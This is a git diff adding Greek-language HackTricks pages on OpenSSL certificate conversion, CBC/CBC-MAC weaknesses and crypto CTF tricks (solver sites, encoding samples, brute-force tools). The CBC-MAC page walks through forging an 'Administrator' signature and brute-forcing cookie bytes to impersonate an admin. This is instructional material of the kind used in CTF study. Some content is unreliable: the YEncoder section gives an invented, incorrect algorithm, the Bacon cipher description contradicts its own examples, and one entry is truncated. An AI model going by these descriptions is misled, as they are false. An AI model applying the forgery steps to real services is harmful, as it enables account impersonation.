|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
|
||||||
|
1. Μετατροπή PFX σε PEM
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||||
|
```
|
||||||
|
2. Μετατροπή από PEM σε PKCS8
|
||||||
|
```bash
|
||||||
|
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||||
|
```
|
||||||
|
* **Από P7B σε PFX** απαιτεί επίσης δύο εντολές:
|
||||||
|
1. Μετατροπή από P7B σε CER
|
||||||
|
```bash
|
||||||
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||||
|
```
|
||||||
|
2. Μετατροπή αρχείου CER και Ιδιωτικού Κλειδιού σε PFX
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||||
|
```
|
||||||
|
***
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
|
||||||
|
|
||||||
|
</details>
|
49
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
49
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
|
@ -0,0 +1,49 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# CBC
|
||||||
|
|
||||||
|
Εάν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλετε να προσομοιώσετε το όνομα χρήστη "**admin**". Τότε, μπορείτε να δημιουργήσετε το όνομα χρήστη **"bdmin"** και να **δοκιμάσετε όλα τα πιθανά** πρώτα bytes του cookie.
|
||||||
|
|
||||||
|
# CBC-MAC
|
||||||
|
|
||||||
|
Το **Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, εξασφαλίζοντας ότι η αλλαγή ακόμα και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια μη προβλέψιμη αλλαγή στο τελευταίο μπλοκ κρυπτογραφημένων δεδομένων. Για να γίνει ή να αναιρεθεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, εξασφαλίζοντας την ασφάλεια.
|
||||||
|
|
||||||
|
Για να υπολογίσετε το CBC-MAC του μηνύματος m, κρυπτογραφείτε το m σε λειτουργία CBC με μηδενικό διάνυσμα αρχικοποίησης και κρατάτε το τελευταίο μπλοκ. Ο παρακάτω σχεδιασμός απεικονίζει τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν κρυπτογράφο μπλοκ E:
|
||||||
|
|
||||||
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||||
|
|
||||||
|
# Ευπάθεια
|
||||||
|
|
||||||
|
Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\
|
||||||
|
Αυτό είναι ένα πρόβλημα επειδή 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι:
|
||||||
|
|
||||||
|
* `E(m1 XOR 0) = s1`
|
||||||
|
* `E(m2 XOR 0) = s2`
|
||||||
|
|
||||||
|
Έπειτα ένα μήνυμα που αποτελείται από τη σύζευξη των m1 και m2 (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32):
|
||||||
|
|
||||||
|
* `E(m1 XOR 0) = s31 = s1`
|
||||||
|
* `E(m2 XOR s1) = s32`
|
||||||
|
|
||||||
|
**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζετε το κλειδί της κρυπτογράφησης.**
|
||||||
|
|
||||||
|
Φανταστείτε ότι κρυπτογραφείτε το όνομα **Administrator** σε μπλοκ των **8bytes**:
|
||||||
|
|
||||||
|
* `Administ`
|
||||||
|
* `rator\00\00\00`
|
||||||
|
|
||||||
|
Μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το όνομα **Administ** (m1) και να ανακτήσετε την υπογραφή (s1).\
|
||||||
|
Έπειτα, μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)`
|
295
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
295
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
|
@ -0,0 +1,295 @@
|
||||||
|
# Κόλπα για Crypto CTFs
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βάσεις Δεδομένων Online Hashes
|
||||||
|
|
||||||
|
* _**Ψάξτε στο Google**_
|
||||||
|
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||||
|
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||||
|
* [https://crackstation.net/](https://crackstation.net)
|
||||||
|
* [https://md5decrypt.net/](https://md5decrypt.net)
|
||||||
|
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||||
|
* [https://gpuhash.me/](https://gpuhash.me)
|
||||||
|
* [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||||
|
* [https://www.cmd5.org/](https://www.cmd5.org)
|
||||||
|
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||||
|
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||||
|
|
||||||
|
## Μαγικοί Αυτόματοι Λύτες
|
||||||
|
|
||||||
|
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||||
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Μαγική ενότητα)
|
||||||
|
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
|
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||||
|
|
||||||
|
## Κωδικοποιητές
|
||||||
|
|
||||||
|
Τα περισσότερα κωδικοποιημένα δεδομένα μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους:
|
||||||
|
|
||||||
|
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||||
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
|
### Αυτόματοι Λύτες Αντικατάστασης
|
||||||
|
|
||||||
|
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||||
|
* [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό !
|
||||||
|
|
||||||
|
#### Caesar - ROTx Αυτόματοι Λύτες
|
||||||
|
|
||||||
|
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||||
|
|
||||||
|
#### Κρυπτογράφημα Atbash
|
||||||
|
|
||||||
|
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||||
|
|
||||||
|
### Αυτόματοι Λύτες Βάσεων Κωδικοποίησης
|
||||||
|
|
||||||
|
Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
|
|
||||||
|
* **Ascii85**
|
||||||
|
* `BQ%]q@psCd@rH0l`
|
||||||
|
* **Base26** \[_A-Z_]
|
||||||
|
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||||
|
* **Base32** \[_A-Z2-7=_]
|
||||||
|
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||||
|
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||||
|
* `pbzsaamdcf3gna5xptoo====`
|
||||||
|
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||||
|
* `e1rqssc3d5t62svgejhh====`
|
||||||
|
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||||
|
* `D1QPRRB3C5S62RVFDHGG====`
|
||||||
|
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||||
|
* `D1NMOOB3C5P62ORFDHGG====`
|
||||||
|
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||||
|
* `59DPVDGPCVKEUPCPVD`
|
||||||
|
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||||
|
* `2yJiRg5BF9gmsU6AC`
|
||||||
|
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||||
|
* `2YiHqF5bf9FLSt6ac`
|
||||||
|
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||||
|
* `pyJ5RgnBE9gm17awU`
|
||||||
|
* **Base62** \[_0-
|
||||||
|
* `DmPsv8J7qrlKEoY7`
|
||||||
|
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||||
|
* `kLD8iwKsigSalLJ5`
|
||||||
|
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||||
|
* `ayRiIo1gpO+uUc7g`
|
||||||
|
* **ESAB46** \[]
|
||||||
|
* `3sHcL2NR8WrT7mhR`
|
||||||
|
* **MEGAN45** \[]
|
||||||
|
* `kLD8igSXm2KZlwrX`
|
||||||
|
* **TIGO3FX** \[]
|
||||||
|
* `7AP9mIzdmltYmIP9mWXX`
|
||||||
|
* **TRIPO5** \[]
|
||||||
|
* `UE9vSbnBW6psVzxB`
|
||||||
|
* **FERON74** \[]
|
||||||
|
* `PbGkNudxCzaKBm0x`
|
||||||
|
* **GILA7** \[]
|
||||||
|
* `D+nkv8C1qIKMErY1`
|
||||||
|
* **Citrix CTX1** \[]
|
||||||
|
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||||
|
|
||||||
|
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
|
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||||
|
```
|
||||||
|
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||||
|
```
|
||||||
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
|
### Μωρς
|
||||||
|
```
|
||||||
|
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||||
|
```
|
||||||
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Νεκρός: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
|
### UUencoder
|
||||||
|
```
|
||||||
|
begin 644 webutils_pl
|
||||||
|
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||||
|
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||||
|
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||||
|
`
|
||||||
|
end
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||||
|
|
||||||
|
### Κωδικοποιητής XX
|
||||||
|
```
|
||||||
|
begin 644 webutils_pl
|
||||||
|
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||||
|
5Hol-G2xAEE++
|
||||||
|
end
|
||||||
|
```
|
||||||
|
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||||
|
|
||||||
|
### YEncoder
|
||||||
|
|
||||||
|
Ο YEncoder είναι ένας αλγόριθμος κωδικοποίησης που χρησιμοποιείται για τη μετατροπή δεδομένων σε μορφή ASCII. Αυτός ο αλγόριθμος είναι συνήθως χρήσιμος σε περιπτώσεις όπου οι μηχανές αναζήτησης ή άλλα εργαλεία δεν μπορούν να αναγνωρίσουν ή να επεξεργαστούν ορισμένους τύπους δεδομένων. Ο YEncoder μετατρέπει τα δεδομένα σε μια μορφή που μπορεί να αναγνωριστεί από αυτά τα εργαλεία.
|
||||||
|
|
||||||
|
Για να κωδικοποιήσετε δεδομένα χρησιμοποιώντας τον YEncoder, ακολουθήστε τα παρακάτω βήματα:
|
||||||
|
|
||||||
|
1. Χωρίστε τα δεδομένα σε γκρουπ των 3 bytes.
|
||||||
|
2. Μετατρέψτε κάθε γκρουπ 3 bytes σε έναν ακέραιο αριθμό.
|
||||||
|
3. Μετατρέψτε τον ακέραιο αριθμό σε μια δυαδική ακολουθία 24 bits.
|
||||||
|
4. Χωρίστε τη δυαδική ακολουθία 24 bits σε 4 γκρουπ των 6 bits.
|
||||||
|
5. Προσθέστε τον αριθμό 33 σε κάθε γκρουπ 6 bits.
|
||||||
|
6. Μετατρέψτε τον αριθμό σε έναν χαρακτήρα ASCII χρησιμοποιώντας τον πίνακα μετατροπής.
|
||||||
|
|
||||||
|
Για να αποκωδικοποιήσετε δεδομένα που έχουν κωδικοποιηθεί με τον YEncoder, ακολουθήστε τα παρακάτω βήματα:
|
||||||
|
|
||||||
|
1. Μετατρέψτε τον χαρακτήρα ASCII σε έναν αριθμό χρησιμοποιώντας τον πίνακα μετατροπής.
|
||||||
|
2. Αφαιρέστε τον αριθμό 33 από τον αριθμό.
|
||||||
|
3. Μετατρέψτε τον αριθμό σε μια δυαδική ακολουθία 6 bits.
|
||||||
|
4. Συνδυάστε τις δυαδικές ακολουθίες 6 bits για να δημιουργήσετε μια δυαδική ακολουθία 24 bits.
|
||||||
|
5. Μετατρέψτε τη δυαδική ακολουθία 24 bits σε έναν ακέραιο αριθμό.
|
||||||
|
6. Μετατρέψτε τον ακέραιο αριθμό σε τρία bytes δεδομένων.
|
||||||
|
|
||||||
|
Ο YEncoder είναι ένα χρήσιμο εργαλείο για την κωδικοποίηση και αποκωδικοποίηση δεδομένων σε μορφή ASCII. Μπορεί να χρησιμοποιηθεί σε πολλά σενάρια, όπως στην ανάλυση και επεξεργασία δεδομένων που δεν αναγνωρίζονται από μηχανές αναζήτησης ή άλλα εργαλεία.
|
||||||
|
```
|
||||||
|
=ybegin line=128 size=28 name=webutils_pl
|
||||||
|
ryvkryvkryvkryvkryvkryvkryvk
|
||||||
|
=yend size=28 crc32=35834c86
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||||
|
|
||||||
|
### BinHex
|
||||||
|
```
|
||||||
|
(This file must be converted with BinHex 4.0)
|
||||||
|
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||||
|
-38K26%'d9J!!:
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||||
|
|
||||||
|
### ASCII85
|
||||||
|
|
||||||
|
ASCII85 είναι μια μέθοδος κωδικοποίησης που χρησιμοποιείται για τη μετατροπή δεδομένων σε αναπαράσταση ASCII. Αυτή η μέθοδος κωδικοποίησης είναι παρόμοια με την Base64, αλλά παρέχει μεγαλύτερη απόδοση σε χώρο. Χρησιμοποιείται συχνά σε διάφορα πρωτόκολλα και μορφές αρχείων για την αποστολή και αποθήκευση δεδομένων.
|
||||||
|
```
|
||||||
|
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||||
|
```
|
||||||
|
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||||
|
|
||||||
|
### Πληκτρολόγιο Dvorak
|
||||||
|
```
|
||||||
|
drnajapajrna
|
||||||
|
```
|
||||||
|
* [https://www.geocachingtoolbox.com/index.php?lang=el\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=el\&page=dvorakKeyboard)
|
||||||
|
|
||||||
|
### A1Z26
|
||||||
|
|
||||||
|
Γράμματα στην αριθμητική τους τιμή
|
||||||
|
```
|
||||||
|
8 15 12 1 3 1 18 1 3 15 12 1
|
||||||
|
```
|
||||||
|
### Κρυπτογράφηση με Ανακλαστικό Κρυπτοσύστημα
|
||||||
|
|
||||||
|
Μετατροπή γράμματος σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι οι κλειδιοί και _x_ είναι το γράμμα) και επιστροφή του αποτελέσματος πίσω σε γράμμα
|
||||||
|
```
|
||||||
|
krodfdudfrod
|
||||||
|
```
|
||||||
|
### Κωδικός SMS
|
||||||
|
|
||||||
|
Ο **Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενα ψηφία που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [τηλεφωνικό πληκτρολόγιο](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά τη σύνταξη SMS).\
|
||||||
|
Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\
|
||||||
|
Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό επειδή θα δείτε **πολλούς επαναλαμβανόμενους αριθμούς**.
|
||||||
|
|
||||||
|
Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||||
|
|
||||||
|
### Κωδικός Bacon
|
||||||
|
|
||||||
|
Αντικαθιστάτε κάθε γράμμα με 4 Α ή Β (ή 1 και 0)
|
||||||
|
```
|
||||||
|
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||||
|
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||||
|
```
|
||||||
|
### Ρούνες
|
||||||
|
|
||||||
|
![](../.gitbook/assets/runes.jpg)
|
||||||
|
|
||||||
|
## Συμπίεση
|
||||||
|
|
||||||
|
Ο **Raw Deflate** και ο **Raw Inflate** (μπορείτε να τα βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες.
|
||||||
|
|
||||||
|
## Εύκολη Κρυπτογραφία
|
||||||
|
|
||||||
|
### XOR - Αυτόματη Λύση
|
||||||
|
|
||||||
|
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||||
|
|
||||||
|
### Bifid
|
||||||
|
|
||||||
|
Χρειάζεται μια λέξη-κλειδί
|
||||||
|
```
|
||||||
|
fgaargaamnlunesuneoa
|
||||||
|
```
|
||||||
|
### Vigenere
|
||||||
|
|
||||||
|
Απαιτείται μια λέξη-κλειδί
|
||||||
|
```
|
||||||
|
wodsyoidrods
|
||||||
|
```
|
||||||
|
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||||
|
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||||
|
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||||
|
|
||||||
|
## Ισχυρή Κρυπτογραφία
|
||||||
|
|
||||||
|
### Fernet
|
||||||
|
|
||||||
|
2 συμβολοσειρές base64 (token και κλειδί)
|
||||||
|
```
|
||||||
|
Token:
|
||||||
|
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||||
|
|
||||||
|
Key:
|
||||||
|
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||||
|
```
|
||||||
|
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||||
|
|
||||||
|
### Κοινή χρήση μυστικού του Σαμίρ
|
||||||
|
|
||||||
|
Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσετε χρειάζεστε Y μέρη (_Y <=X_).
|
||||||
|
```
|
||||||
|
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||||
|
80223035713295bddf0b0bd1b10a5340b89
|
||||||
|
803bc8cf294b3f83d88e86d9818792e80cd
|
||||||
|
```
|
||||||
|
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||||
|
|
||||||
|
### Βίαιη επίθεση OpenSSL
|
||||||
|
|
||||||
|
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||||
|
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||||
|
|
||||||
|
## Εργαλεία
|
||||||
|
|
||||||
|
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||||
|
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||||
|
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
